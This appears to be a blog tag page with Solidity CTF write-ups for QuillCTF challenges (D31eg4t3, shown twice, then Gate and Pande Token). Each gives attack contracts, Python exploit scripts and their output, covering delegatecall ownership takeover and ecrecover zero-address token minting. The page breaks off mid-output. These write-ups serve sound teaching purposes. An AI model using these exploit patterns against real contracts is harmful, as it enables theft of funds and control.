Skip to main content

20 posts tagged with "web3"

View All Tags

· 3 min read
Kaan Caglan

D31eg4t3 is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there is only 1 solidity file. D31eg4t3.sol. Contract is deployed on goerli test network.

Etherscan URL

To connect with this contract we can run brownie console with goerli network

kaancaglan@pop-os:~/QuillCTF/roadclosed$ brownie console --network goerli

Objective of CTF is

Become the owner of the contract.
Make canYouHackMe mapping to true for your own
address.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract D31eg4t3{


uint a = 12345;
uint8 b = 32;
string private d; // Super Secret data.
uint32 private c; // Super Secret data.
string private mot; // Super Secret data.
address public owner;
mapping (address => bool) public canYouHackMe;

modifier onlyOwner{
require(false, "Not a Owner");
_;
}

constructor() {
owner = msg.sender;
}

function hackMe(bytes calldata bites) public returns(bool, bytes memory) {
(bool r, bytes memory msge) = address(msg.sender).delegatecall(bites);
return (r, msge);
}


function hacked() public onlyOwner{
canYouHackMe[msg.sender] = true;
}
}

To solve this question we need to become owner and somehow we have to make canYouHackMe mapping to true for our own account. hackMe function is using delegatecall without doing any control. So it means we can call hackMe function with any data and that delegatecall function will call our functions with the context of D31eg4t3 contract. Which means if we change anything on our attack contract, it will change same variables on same address on D31eg4t3 contract. So we just have to set an attack contract with same storage layout to manipulate those variables.

pragma solidity 0.8.7;

interface ID31eg4t3 {
function hackMe(bytes calldata bites) external returns(bool, bytes memory);
}

contract Attack {

uint a = 12345;
uint8 b = 32;
string private d; // Super Secret data.
uint32 private c; // Super Secret data.
string private mot; // Super Secret data.
address public owner;
mapping (address => bool) public canYouHackMe;
ID31eg4t3 delegate;

constructor(ID31eg4t3 _delegate) {
delegate = _delegate;
}

function attack() external payable{
delegate.hackMe(abi.encodeWithSignature("changeOwner(address)", msg.sender));
}

function changeOwner(address new_owner) public {
owner = new_owner;
canYouHackMe[new_owner] = true;
}
}

Layout of State Variables in Storage.

And we just have to call attack function to be owner of that contract.

POC

First, we need a smart contract with selfdestruct feature in it.

#https://goerli.etherscan.io/address/0xf0337cde99638f8087c670c80a57d470134c3aae
from brownie import *
from brownie.network.gas.strategies import LinearScalingStrategy
from brownie.network import gas_price, Accounts
from dotenv import load_dotenv
from scripts.setup_general import console
import os

strategy = LinearScalingStrategy("9 gwei", "90 gwei", 1.1)
gas_price(strategy)
load_dotenv()
ATTACKER_PRIVATE_KEY = None


def exploit():
ATTACKER_PRIVATE_KEY = os.getenv('DEFAULT_ATTACKER_PRIVATE_KEY')
_accounts = Accounts()
_accounts.add(ATTACKER_PRIVATE_KEY)
attacker = _accounts[0]

assert attacker.balance() > 0

contr = D31eg4t3.at('0x971e55F02367DcDd1535A7faeD0a500B64f2742d')
console.green("Imported attacker account successfuly.")
console.green("Owner of the contract is: "+ str(contr.owner()))
console.green("Attacker's address is: "+ str(attacker.address))
console.yellow("Creating attack contract")
attack_contr = Attack.deploy(contr.address, {'from': attacker})

console.yellow("Calling -> attack_contr.attack({'from': attacker})")
attack_contr.attack({'from': attacker})

console.green("New owner of the contract after attack is: "+ str(contr.owner()))
console.yellow("contr.canYouHackMe({'from': attacker}): " + str(contr.canYouHackMe(attacker.address)))

And the output is

>>> run('poc', 'exploit')

Running 'scripts\poc.py::exploit'...
Imported attacker account successfuly.
- Owner of the contract is: 0x698ee928558640e35f2a33cC1e535Cf2F9a139c8
- Attacker's address is: 0x255ba4faa1a90DF35f2eE597265c7EC22D1221cB
Creating attack contract
Transaction sent: 0x5bec60ac3188735bb31c4df48d35369adaa8460038dae2ad2f3def1d3b0d1881
Gas price: 9.0 gwei Gas limit: 349823 Nonce: 68
Attack.constructor confirmed Block: 8243893 Gas used: 318021 (90.91%)
Attack deployed at: 0x3aBfa13bB1FA295fb7DC364BA3284e842E446Eda

+ Calling -> attack_contr.attack({'from': attacker})
Transaction sent: 0x3a4a07efbe6d0431c2dbd0c8d638cc00db84b3736687098378c8787d78a07725
Gas price: 9.0 gwei Gas limit: 61964 Nonce: 69
Attack.attack confirmed Block: 8243894 Gas used: 56331 (90.91%)

+ New owner of the contract after attack is: 0x255ba4faa1a90DF35f2eE597265c7EC22D1221cB
+ contr.canYouHackMe({'from': attacker}): True

· 3 min read
Kaan Caglan

D31eg4t3 is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there is only 1 solidity file. D31eg4t3.sol. Contract is deployed on goerli test network.

Etherscan URL

To connect with this contract we can run brownie console with goerli network

kaancaglan@pop-os:~/QuillCTF/roadclosed$ brownie console --network goerli

Objective of CTF is

Become the owner of the contract.
Make canYouHackMe mapping to true for your own
address.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract D31eg4t3{


uint a = 12345;
uint8 b = 32;
string private d; // Super Secret data.
uint32 private c; // Super Secret data.
string private mot; // Super Secret data.
address public owner;
mapping (address => bool) public canYouHackMe;

modifier onlyOwner{
require(false, "Not a Owner");
_;
}

constructor() {
owner = msg.sender;
}

function hackMe(bytes calldata bites) public returns(bool, bytes memory) {
(bool r, bytes memory msge) = address(msg.sender).delegatecall(bites);
return (r, msge);
}


function hacked() public onlyOwner{
canYouHackMe[msg.sender] = true;
}
}

To solve this question we need to become owner and somehow we have to make canYouHackMe mapping to true for our own account. hackMe function is using delegatecall without doing any control. So it means we can call hackMe function with any data and that delegatecall function will call our functions with the context of D31eg4t3 contract. Which means if we change anything on our attack contract, it will change same variables on same address on D31eg4t3 contract. So we just have to set an attack contract with same storage layout to manipulate those variables.

pragma solidity 0.8.7;

interface ID31eg4t3 {
function hackMe(bytes calldata bites) external returns(bool, bytes memory);
}

contract Attack {

uint a = 12345;
uint8 b = 32;
string private d; // Super Secret data.
uint32 private c; // Super Secret data.
string private mot; // Super Secret data.
address public owner;
mapping (address => bool) public canYouHackMe;
ID31eg4t3 delegate;

constructor(ID31eg4t3 _delegate) {
delegate = _delegate;
}

function attack() external payable{
delegate.hackMe(abi.encodeWithSignature("changeOwner(address)", msg.sender));
}

function changeOwner(address new_owner) public {
owner = new_owner;
canYouHackMe[new_owner] = true;
}
}

Layout of State Variables in Storage.

And we just have to call attack function to be owner of that contract.

POC

First, we need a smart contract with selfdestruct feature in it.

#https://goerli.etherscan.io/address/0xf0337cde99638f8087c670c80a57d470134c3aae
from brownie import *
from brownie.network.gas.strategies import LinearScalingStrategy
from brownie.network import gas_price, Accounts
from dotenv import load_dotenv
from scripts.setup_general import console
import os

strategy = LinearScalingStrategy("9 gwei", "90 gwei", 1.1)
gas_price(strategy)
load_dotenv()
ATTACKER_PRIVATE_KEY = None


def exploit():
ATTACKER_PRIVATE_KEY = os.getenv('DEFAULT_ATTACKER_PRIVATE_KEY')
_accounts = Accounts()
_accounts.add(ATTACKER_PRIVATE_KEY)
attacker = _accounts[0]

assert attacker.balance() > 0

contr = D31eg4t3.at('0x971e55F02367DcDd1535A7faeD0a500B64f2742d')
console.green("Imported attacker account successfuly.")
console.green("Owner of the contract is: "+ str(contr.owner()))
console.green("Attacker's address is: "+ str(attacker.address))
console.yellow("Creating attack contract")
attack_contr = Attack.deploy(contr.address, {'from': attacker})

console.yellow("Calling -> attack_contr.attack({'from': attacker})")
attack_contr.attack({'from': attacker})

console.green("New owner of the contract after attack is: "+ str(contr.owner()))
console.yellow("contr.canYouHackMe({'from': attacker}): " + str(contr.canYouHackMe(attacker.address)))

And the output is

>>> run('poc', 'exploit')

Running 'scripts\poc.py::exploit'...
Imported attacker account successfuly.
- Owner of the contract is: 0x698ee928558640e35f2a33cC1e535Cf2F9a139c8
- Attacker's address is: 0x255ba4faa1a90DF35f2eE597265c7EC22D1221cB
Creating attack contract
Transaction sent: 0x5bec60ac3188735bb31c4df48d35369adaa8460038dae2ad2f3def1d3b0d1881
Gas price: 9.0 gwei Gas limit: 349823 Nonce: 68
Attack.constructor confirmed Block: 8243893 Gas used: 318021 (90.91%)
Attack deployed at: 0x3aBfa13bB1FA295fb7DC364BA3284e842E446Eda

+ Calling -> attack_contr.attack({'from': attacker})
Transaction sent: 0x3a4a07efbe6d0431c2dbd0c8d638cc00db84b3736687098378c8787d78a07725
Gas price: 9.0 gwei Gas limit: 61964 Nonce: 69
Attack.attack confirmed Block: 8243894 Gas used: 56331 (90.91%)

+ New owner of the contract after attack is: 0x255ba4faa1a90DF35f2eE597265c7EC22D1221cB
+ contr.canYouHackMe({'from': attacker}): True

· 8 min read
Kaan Caglan

Gate is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there is only 1 solidity file. Gate.sol. Contract is not deployeda on any test network.

Objective of CTF is

You need to set the opened flag to true via the open function
You need to handwrite the bytecode opcode by opcode and stay within the size of less than 33 bytes

To solve this question we have to call the open() function with an address parameter and that address should belong to a solidity contract. There are 4 conditions in that open function. The first one is the size of the contract should be less than 33. The contract should return address(contract) if we call function f00000000_bvvvdlt, the contract should return tx.origin if we call f00000001_grffjzz and it should revert the transaction if we call fail() function.

pragma solidity ^0.8.17;

interface IGuardian {
function f00000000_bvvvdlt() external view returns (address);

function f00000001_grffjzz() external view returns (address);
}

contract Gate {
bool public opened;

function open(address guardian) external {
uint256 codeSize;
assembly {
codeSize := extcodesize(guardian)
}
require(codeSize < 33, "bad code size");

require(
IGuardian(guardian).f00000000_bvvvdlt() == address(this),
"invalid pass"
);
require(
IGuardian(guardian).f00000001_grffjzz() == tx.origin,
"invalid pass"
);

(bool success, ) = guardian.call(abi.encodeWithSignature("fail()"));
require(!success);

opened = true;
}
}

So we need to implement an opcode that will satisfy all of the required cases. To do that like in the previous question (Collatz Puzzle) we need to write a YUL code or direct OPCode. Yul (previously also called JULIA or IULIA) is an intermediate language that can be compiled to bytecode for different backends.

In .yul code we should write an assembly. Normal structure of YUL is like this

object "Contract" {
// This is the constructor code of the contract.
code {
// Deploy the contract
datacopy(0, dataoffset("runtime"), datasize("runtime"))
return(0, datasize("runtime"))
}

object "runtime" {
code {
// Protection against sending Ether
if gt(callvalue(), 0) {
revert(0, 0)
}

// Dispatcher
switch selector()
case 0x6d4ce63c {
returnUint(get())
}
case 0x371303c0 {
inc()
}
case 0xb3bcfa82 {
dec()
}
default {
revert(0, 0)
}

// ABI
function get() -> counter {
counter := sload(counterSlot())
}

function inc() {
sstore(counterSlot(), add(get(), 1))
}

function dec() {
sstore(counterSlot(), sub(get(), 1))
}

// Helpers
function selector() -> s {
s := div(calldataload(0), 0x100000000000000000000000000000000000000000000000000000000)
}

function returnUint(v) {
mstore(0, v)
return(0, 0x20)
}

// Slots
function counterSlot() -> s { s := 0 }
}
}
}

This piece of code is taken from Evm Playground So we can see that there is a object "ContractName" and that code returns the code under object "runtime" So we have to modify this object "runtime" it in a way that works for us. To do that we can check OPCODES FOR THE EVM.

15  ISZERO  3   a   a == 0      (u)int256 iszero
1C SHR 3 shift, val val >> shift
32 ORIGIN 2 . tx.origin
33 CALLER 2 . msg.sender
35 CALLDATALOAD 3 idx msg.data[idx:idx+32] read word from msg data at index idx
52 MSTORE 3* ost, val . mem[ost:ost+32] := val write a word to memory
F3 RETURN 0* ost, len . return mem[ost:ost+len-1]
FD REVERT 0* ost, len .

All of those opcodes will be enough for us to build our YUL code. Our algorithm is :

  • return caller if the function signature is the same as f00000000_bvvvdlt
  • return origin if the function signature is the same as f00000001_grffjzz
  • revert in all other cases

We can revert the transaction if the called function is not one of that two because there are no other restrictions so calling fail() or success() or anything else doesn't matter we can revert. It will pass the requires in the open function. To get the function signature of incoming data we can do

    div(calldataload(0), 0x100000000000000000000000000000000000000000000000000000000)

However if we do that, we won't have enough space to implement our contract logic because 0x100000000000000000000000000000000000000000000000000000000 variable will take a lot of place in the opcode. If we check the function signatures it can be seen that

>>> web3.sha3(b'f00000000_bvvvdlt()')[0:4].strip().hex()
'00000000'
>>> web3.sha3(b'f00000001_grffjzz()')[0:4].strip().hex()
'00000001'
>>> web3.sha3(b'fail()')[0:4].strip().hex()
'a9cc4718'
>>> 0xa9cc4718
2848737048

So we should have a YUL code something like

object "runtime" {
code {
x := `function signature`
if iszero(x){
mstore(0x20, caller())
return(0x20, 0x20)
}
if eq(x, 1){
mstore(0x20, origin())
return(0x20, 0x20)
}
if eq(x, 2848737048){
revert(0x20, 0x20)
}
}
}

However, we can't do that because firstly we don't know the exact x (function signature) since we didn't divide it with 0x100000000000000000000000000000000000000000000000000000000 and even though we have the x this code will have more than 33 lengths. So we need to optimize this. If we calculate the exact signatures for all 3 functions it can be seen that

>>> 0x100000000000000000000000000000000000000000000000000000000*0x00000000
0
>>> 0x100000000000000000000000000000000000000000000000000000000*0x00000001
26959946667150639794667015087019630673637144422540572481103610249216
>>> 0x100000000000000000000000000000000000000000000000000000000*0xa9cc4718
76801798882816152179971038701967765803267330225417895110049134443494132154368

So we know that on our YUL code if we read let x := calldataload(0), f00000000_bvvvdlt function signature will have a 0 value, f00000001_grffjzz function signature will be 26959946667150639794667015087019630673637144422540572481103610249216 and fail function will be 0x100000000000000000000000000000000000000000000000000000000. So to optimize this we can use shr operator which is a logical right-shift operation. We just need to find a correct number to shift incoming x value. It should be same for f00000001_grffjzz and f00000000_bvvvdlt but it should be different for fail function. Luckly we know that fail function's signature is bigger than both of them. So if we find a correct value we can finally write our optimized code.

def find_shr(val1, val2, val3):
x = 1
while 1:
if val1 >> x == 0 and val2 >> x == 0 and val3 >> x > 0:
return("Correct value is: " + str(x))
x += 1

And if we give our variables to this function:

>>> find_shr(0, 26959946667150639794667015087019630673637144422540572481103610249216, 768017988828161521799710387019677 
65803267330225417895110049134443494132154368)
'Correct value is: 225'

So we can build our algorithm with the value 255. Algorithm will be

  • if shr(225,x) == 0 then check for exact x value and return the caller or origin
  • revert otherwise

So the final code will be like this.

object "Attack" {
code {
datacopy(0, dataoffset("runtime"), datasize("runtime"))
return(0, datasize("runtime"))
}
object "runtime" {
code {
let x := calldataload(0)
let y := 0x20
mstore(y, origin())

if iszero(shr(225,x)){
if iszero(x){
mstore(y, caller())
}
return(y, y)
}
revert(y,y)
}
}
}

We are setting origin() value into the address 0x20 in the beginning. Then we are checking if shr(255,x) is 0, and if its 0 then we should check if x is 0. If thats the case store the caller() in to the 0x20 and return address 0x20, revert otherwise.

POC

We can compile our yul contract with solc compiler.

> solc --strict-assembly .\guardian\contracts\attack.yul

======= guardian/contracts/attack.yul (EVM) =======

Pretty printed source:
object "Attack" {
code {
datacopy(0, dataoffset("runtime"), datasize("runtime"))
return(0, datasize("runtime"))
}
object "runtime" {
code {
let x := calldataload(0)
let y := 0x20
mstore(y, origin())
if iszero(shr(225, x))
{
if iszero(x) { mstore(y, caller()) }
return(y, y)
}
revert(y, y)
}
}
}


Binary representation:
601e600d600039601e6000f3fe60003560203281528160e11c601a57816016573381525b8081f35b8081fd

So our binary representation is 601e600d600039601e6000f3fe60003560203281528160e11c601a57816016573381525b8081f35b8081fd We can deploy this bytecode with the help of create function.

Solidity Attack Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


contract Attack {
uint256 public global_size;
address public global_addr;

function deploy(bytes memory given_code) external returns(uint){
bytes memory code = given_code;
address addr;
uint size;
assembly{
addr := create(0, add(code, 0x20), mload(code))
size := extcodesize(addr)
}
global_addr = addr;
global_size = size;
}
}

Python Exploit Function

from brownie import *
from scripts.setup_general import console

def find_shr(val1, val2, val3):
x = 1
while 1:
if val1 >> x == 0 and val2 >> x == 0 and val3 >> x > 0:
return("Correct value is: " + str(x))
x += 1

def exploit():
admin = accounts[0]
attacker = accounts[1]
attack_contract = Attack.deploy({'from': attacker})
gate = Gate.deploy({'from': admin})
new_data = bytes.fromhex('601e600d600039601e6000f3fe60003560203281528160e11c601a57816016573381525b8081f35b8081fd')
console.yellow("Creating attack contract with compiled YUL binary code.")
attack_contract.deploy(new_data)
assert attack_contract.global_size() < 33
console.yellow("YUL binary code's length is: " + str(attack_contract.global_size()))

console.yellow("Calling -> gate.open(attack_contract.global_addr(), {'from': attacker})")
gate.open(attack_contract.global_addr(), {'from': attacker})
val = gate.opened()
assert val == True
console.green("Return value of open: "+ str(val))

And the output is

>>> run('poc', 'exploit')

Running 'scripts\poc.py::exploit'...
Transaction sent: 0x34393dfd867ec9fdd00f3ebec5133a7d28cade9e56161803a9a5d3aedd6080b3
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 6
Attack.constructor confirmed Block: 9 Gas used: 334564 (2.79%)
Attack deployed at: 0x3EbF54363552bbCeEFacA481BebD832E978482F3

Transaction sent: 0x39ba8c3c3f46614ef5fac600f16b0b0a7f9bacb17fd7ceb0eea50635bb27336e
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 2
Gate.constructor confirmed Block: 10 Gas used: 244796 (2.04%)
Gate deployed at: 0xE7eD6747FaC5360f88a2EFC03E00d25789F69291

+ Creating attack contract with compiled YUL binary code.
Transaction sent: 0x1942fa28a38e52db90dc3d1967f6108f96fc41bb8e0c1ae9042fee5bea4d98aa
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 7
Attack.deploy confirmed Block: 11 Gas used: 102336 (0.85%)

+ YUL binary code's length is: 30
- Calling -> gate.open(attack_contract.global_addr(), {'from': attacker})
Transaction sent: 0x9cc22ebf9af8e561106761fad30083f3ffb37d8ea9c76910a922ad27ec95ab0c
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 8
Gate.open confirmed Block: 12 Gas used: 46813 (0.39%)

+ Return value of open: True

· 9 min read
Kaan Caglan

Pande Token is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there is only 1 solidity file. PandaToken.sol and also foundry setup script. Contract is not deployed on any test network.

Objective of CTF is

To pass the CTF, the hacker must have 3 tokens (3e18) on their account.

To solve this question we have to get 3e18 amount of PandaToken as a hacker. If we take a look to the contract

// SPDX-License-Identifier: MIT

pragma solidity ^0.8;
import "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "openzeppelin-contracts/contracts/access/Ownable.sol";

contract PandaToken is ERC20, Ownable {
uint public c1;
mapping(bytes => bool) public usedSignatures;
mapping(address => uint) public burnPending;
event show_uint(uint u);

function sMint(uint amount) external onlyOwner {
_mint(msg.sender, amount);
}

constructor(
uint _c1,
string memory tokenName,
string memory tokenSymbol
) ERC20(tokenName, tokenSymbol) {
assembly {
let ptr := mload(0x40)
mstore(ptr, sload(mul(1, 110)))
mstore(add(ptr, 0x20), 0)
let slot := keccak256(ptr, 0x40)
sstore(slot, exp(10, add(4, mul(3, 5))))
mstore(ptr, sload(5))
sstore(6, _c1)
mstore(add(ptr, 0x20), 0)
let slot1 := keccak256(ptr, 0x40)
mstore(ptr, sload(7))
mstore(add(ptr, 0x20), 0)
sstore(slot1, mul(sload(slot), 2))
}
}

function calculateAmount(
uint I1ILLI1L1ILLIL1LLI1IL1IL1IL1L
) public view returns (uint) {
uint I1I1LI111IL1IL1LLI1IL1IL11L1L;
assembly {
let I1ILLI1L1IL1IL1LLI1IL1IL11L1L := 2
let I1ILLILL1IL1IL1LLI1IL1IL11L1L := 1000
let I1ILLI1L1IL1IL1LLI1IL1IL11L11 := 14382
let I1ILLI1L1IL1ILLLLI1IL1IL11L1L := 14382
let I1LLLI1L1IL1IL1LLI1IL1IL11L1L := 599
let I1ILLI111IL1IL1LLI1IL1IL11L1L := 1
I1I1LI111IL1IL1LLI1IL1IL11L1L := div(
mul(
I1ILLI1L1ILLIL1LLI1IL1IL1IL1L,
I1ILLILL1IL1IL1LLI1IL1IL11L1L
),
add(
I1LLLI1L1IL1IL1LLI1IL1IL11L1L,
add(I1ILLI111IL1IL1LLI1IL1IL11L1L, sload(6))
)
)
}

return I1I1LI111IL1IL1LLI1IL1IL11L1L;
}

function getTokens(uint amount, bytes memory signature) external {
uint giftAmount = calculateAmount(amount);

bytes32 msgHash = keccak256(abi.encode(msg.sender, giftAmount));
bytes32 r;
bytes32 s;
uint8 v;

assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}

address giftFrom = ecrecover(msgHash, v, r, s);
burnPending[giftFrom] += amount;
require(amount == 1 ether, "amount error");
require(
(balanceOf(giftFrom) - burnPending[giftFrom]) >= amount,
"balance"
);
require(!usedSignatures[signature], "used signature");
usedSignatures[signature] = true;
_mint(msg.sender, amount);
}

function burnPendings(address burnFrom) external onlyOwner {
burnPending[burnFrom] = 0;
_burn(burnFrom, burnPending[burnFrom]);
}
}

It can be seen that there is a public getTokens function that mints a token to msg.sender if every required statement passes. There is 3 required statement in the function. The first one is checking if the given amount parameter is exactly 1 ether, and the second one is expecting the balanceOf recovered signature address minus burnPending should be greater than or equal to the given amount variable which is 1 ether. And the last one only checks if the given signature is already used or not. If we take a look at the setup script

// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;

import "forge-std/Test.sol";
import "../src/PandaToken.sol";

contract Hack is Test {
PandaToken pandatoken;
address owner = vm.addr(1);
address hacker = vm.addr(2);

function setUp() external {
vm.prank(owner);
pandatoken = new PandaToken(400, "PandaToken", "PND");
}

function test() public {
vm.startPrank(hacker);
bytes32 hash = keccak256(abi.encode(hacker, 1 ether));
(uint8 v, bytes32 r, bytes32 s) = vm.sign(1, hash);

// your goal - to have 3 tokens (3e18) on your own(hacker) balance.
// solution
...


assertEq(pandatoken.balanceOf(hacker), 3 ether);
}
}

We can see there is nothing fancy here. It just deploys pandatoken with owner, creates one signature, and signs it with hacker and that's all. So we have a signature, we can use it and get 1e18 token from the contract. At the end of that getTokens function, it saves signatures to a map and does not allow us to use the same signature again. So we need to find a way to mint 3e18 token. sMint and burnPendings functions have onlyOwner modifier so we won't be able to call any of them as a hacker. If we take a look to the calculateAmount function


function calculateAmount(
uint I1ILLI1L1ILLIL1LLI1IL1IL1IL1L
) public view returns (uint) {
uint I1I1LI111IL1IL1LLI1IL1IL11L1L;
assembly {
let I1ILLI1L1IL1IL1LLI1IL1IL11L1L := 2
let I1ILLILL1IL1IL1LLI1IL1IL11L1L := 1000
let I1ILLI1L1IL1IL1LLI1IL1IL11L11 := 14382
let I1ILLI1L1IL1ILLLLI1IL1IL11L1L := 14382
let I1LLLI1L1IL1IL1LLI1IL1IL11L1L := 599
let I1ILLI111IL1IL1LLI1IL1IL11L1L := 1
I1I1LI111IL1IL1LLI1IL1IL11L1L := div(
mul(
I1ILLI1L1ILLIL1LLI1IL1IL1IL1L,
I1ILLILL1IL1IL1LLI1IL1IL11L1L
),
add(
I1LLLI1L1IL1IL1LLI1IL1IL11L1L,
add(I1ILLI111IL1IL1LLI1IL1IL11L1L, sload(6))
)
)
}

return I1I1LI111IL1IL1LLI1IL1IL11L1L;
}

It is also not doing anything, there are a few let definitions but eventually, that function is just doing 1000*amount/1000 and returns the value. Simply it can be written in solidity like:

    function calculateAmount(
uint given
) public view returns (uint) {
uint256 first = 2;
uint256 second = 1000;
uint256 third = 14382;
uint256 fourth = 14382;
uint256 fifth = 599;
uint256 sixth = 1;
uint256 result = (given*second)/(fifth+(sixth+c1));
return result;

}

sload(6) is the c1 variable that which owner gave to the constructor in the deploy statement. sload basically loads the x element from the storage and if we take a look it can be seen that

HexBytes('0x0190')
>>> 0x190
400

It is 400. The reason c1 is in the sixth slot in the storage, PandaToken is inherited from ERC20 and Ownable contracts. So storage layout starts with ERC20 and then Ownable and then PandaToken's variables. So if we take a look to the both contracts

contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;

mapping(address => mapping(address => uint256)) private _allowances;

uint256 private _totalSupply;

string private _name;
string private _symbol;

and

abstract contract Ownable is Context {
address private _owner;

We can say that slots are:

slot[0] => _balances
slot[1] => _allowances
slot[2] => _totalSupply
slot[3] => _name
slot[4] => _symbol
slot[5] => _owner
slot[6] => c1

And we can verify them

>>> web3.eth.getStorageAt(pandatoken.address, 0)
HexBytes('0x00')
>>> web3.eth.getStorageAt(pandatoken.address, 1)
HexBytes('0x00')
>>> web3.eth.getStorageAt(pandatoken.address, 2)
HexBytes('0x00')
>>> bytearray.fromhex(web3.eth.getStorageAt(pandatoken.address, 3).hex()[2:]).decode()
'PandaToken\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14'
>>> bytearray.fromhex(web3.eth.getStorageAt(pandatoken.address, 4).hex()[2:]).decode()
'PND\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06'
>>> web3.eth.getStorageAt(pandatoken.address, 5)
HexBytes('0x66ab6d9362d4f35596279692f0251db635165871')
>>> web3.eth.getStorageAt(pandatoken.address, 6)
HexBytes('0x0190')
>>> owner.address
'0x66aB6D9362d4F35596279692F0251Db635165871'

The reason _balances and _allowances return 0 is maps are stored in the storage in a different way. Layout of State Variables in Storage.

    The value corresponding to a mapping key k is located at keccak256(h(k) . p) 
where . is concatenation and h is a function that is applied to the key
depending on its type:

for value types, h pads the value to 32 bytes in the same way as when
storing the value in memory.

for strings and byte arrays, h(k) is just the unpadded data.

So there is only one function we didn't take a look and it is the constructor. In the constructor, contract is doing some inline assembly operations.

    constructor(
uint _c1,
string memory tokenName,
string memory tokenSymbol
) ERC20(tokenName, tokenSymbol) {
assembly {
let ptr := mload(0x40)
mstore(ptr, sload(mul(1, 110)))
mstore(add(ptr, 0x20), 0)
let slot := keccak256(ptr, 0x40)
sstore(slot, exp(10, add(4, mul(3, 5))))
mstore(ptr, sload(5))
sstore(6, _c1)
mstore(add(ptr, 0x20), 0)
let slot1 := keccak256(ptr, 0x40)
mstore(ptr, sload(7))
mstore(add(ptr, 0x20), 0)
sstore(slot1, mul(sload(slot), 2))
}
}

If we examine it line by line it can be seen that contract is changing the _balances variable in the ERC20 contract which will eventually result in different returns for balanceOf function for 2 address.

  • let ptr := mload(0x40) is just reads 32 bytes of memory starting at position 0x40, that slot is special in solidity. It contains the free memory pointer which points to the end of the currently allocated memory.
  • mstore(ptr, sload(mul(1, 110))) Is storing the second variable into the ptr variable. Second variable is multiplying 1 and 110 and loads the value at that slot which is 0 because there is not 110 variable in the contracts so it just stores 0 in the ptr variable.
  • mstore(add(ptr, 0x20), 0) is storing 0 to ptr+20 address and which means it also sets 32 more byte next to the ptr variable.
  • let slot := keccak256(ptr, 0x40) in the statement we know that keccak256 is expecting two variables first one is the start address and the second one is the total length. So in the previous step, we set also 0 to ptr+0x20, this keccak operation is doing basically keccak256(abi.encode(0)+abi.encode(0)) because ptr is already 0 and next 32 bytes of ptr is also 0 so it reads 64 bytes of 0s and hashes them, save the value into the slot variable.
20  KECCAK256   A2  ost, len    keccak256(mem[ost:ost+len-1])       keccak256
  • sstore(slot, exp(10, add(4, mul(3, 5)))) in this statement it stores the value of exp(10, add(4, mul(3, 5))) this function into the slot variable. Which is basically 10**(4+(3*5)) => 10**19 => 10 ether.

If we again take a look at the layout storage algorithm, we know that map variables are stored like: keccak256(bytes32(any_address)+bytes32(map_storage_slot)). Which is pretty similar to the previous steps. We know that map_storage_slot is 0. So those steps just change the balance value of address 0 to 10 ether.

>>> web3.eth.getStorageAt(pandatoken.address, web3.sha3(convert.to_bytes(0) + convert.to_bytes(0)))
HexBytes('0x8ac7230489e80000')
>>> 0x8ac7230489e80000 == web3.toWei('10', 'ether')
True
>>> pandatoken.balanceOf('0x0000000000000000000000000000000000000000')
10000000000000000000

After sstore(slot, exp(10, add(4, mul(3, 5)))) this, it also changes the balance value of _owner to 20 ether.

>>> web3.eth.getStorageAt(pandatoken.address, web3.sha3(convert.to_bytes(owner.address) + convert.to_bytes(0)))
HexBytes('0x01158e460913d00000')
>>> 0x01158e460913d00000
20000000000000000000
>>> pandatoken.balanceOf(owner) == web3.toWei('20', 'ether')
True

And we know that ecrecover returns 0 if the signature does not match, we can use this. If we give 3 different wrong signature to the getTokens function with 1 ether amount, it will pass all required statements.

Python Exploit Function

from brownie import *
from scripts.setup_general import console
from brownie import convert

def setup():
owner = accounts[0]
accounts.add()
hacker = accounts[-1]
pandatoken = PandaToken.deploy(400, 'PandaToken', 'PND', {'from': owner})
# your goal - to have 3 tokens on your own(hacker) balance.
# solution
hash_ = web3.sha3(convert.to_bytes(hacker.address)+convert.to_bytes(web3.toWei('1', 'ether')))
signed = web3.eth.account.signHash(hash_, hacker.private_key)

r,s,v = signed[1], signed[2], signed[3]

def exploit():
hacker = accounts[-1]
pandatoken = PandaToken[-1]
console.green("PND balance of the hacker is: "+ str(pandatoken.balanceOf(hacker)))
console.green("Calling `getTokens` function with 3 different wrong signatures.")
pandatoken.getTokens(web3.toWei('1', 'ether'), b'', {'from': hacker})
pandatoken.getTokens(web3.toWei('1', 'ether'), b'1', {'from': hacker})
pandatoken.getTokens(web3.toWei('1', 'ether'), b'2', {'from': hacker})
console.green("PND balance of the hacker after attack is: "+ str(pandatoken.balanceOf(hacker)))

And the output is

+ >>> run('poc', 'setup')

Running 'scripts\poc.py::setup'...
mnemonic: 'cabbage dash garment media blush undo gasp tower repeat scene seat join'
Transaction sent: 0xa58b5325bc3f67153bdb413e60141eac5b0e15d234ae880bd5ad2c15c07dd239
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0
PandaToken.constructor confirmed Block: 1 Gas used: 1136262 (9.47%)
PandaToken deployed at: 0x3194cBDC3dbcd3E11a07892e7bA5c3394048Cc87

+ >>> run('poc', 'exploit')

Running 'scripts\poc.py::exploit'...
- PND balance of the hacker is: 0
+ Calling `getTokens` function with 3 different wrong signatures.
Transaction sent: 0x60a821bc47689f34c0c61f08900dd0d43398c587e9682d91a332f9aa16c91fb5
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0
PandaToken.getTokens confirmed Block: 2 Gas used: 116002 (0.97%)

Transaction sent: 0xe6f99a232978206463842fe0e3bc5c90ad53a2e063fb676badb2f1d25a3b7f97
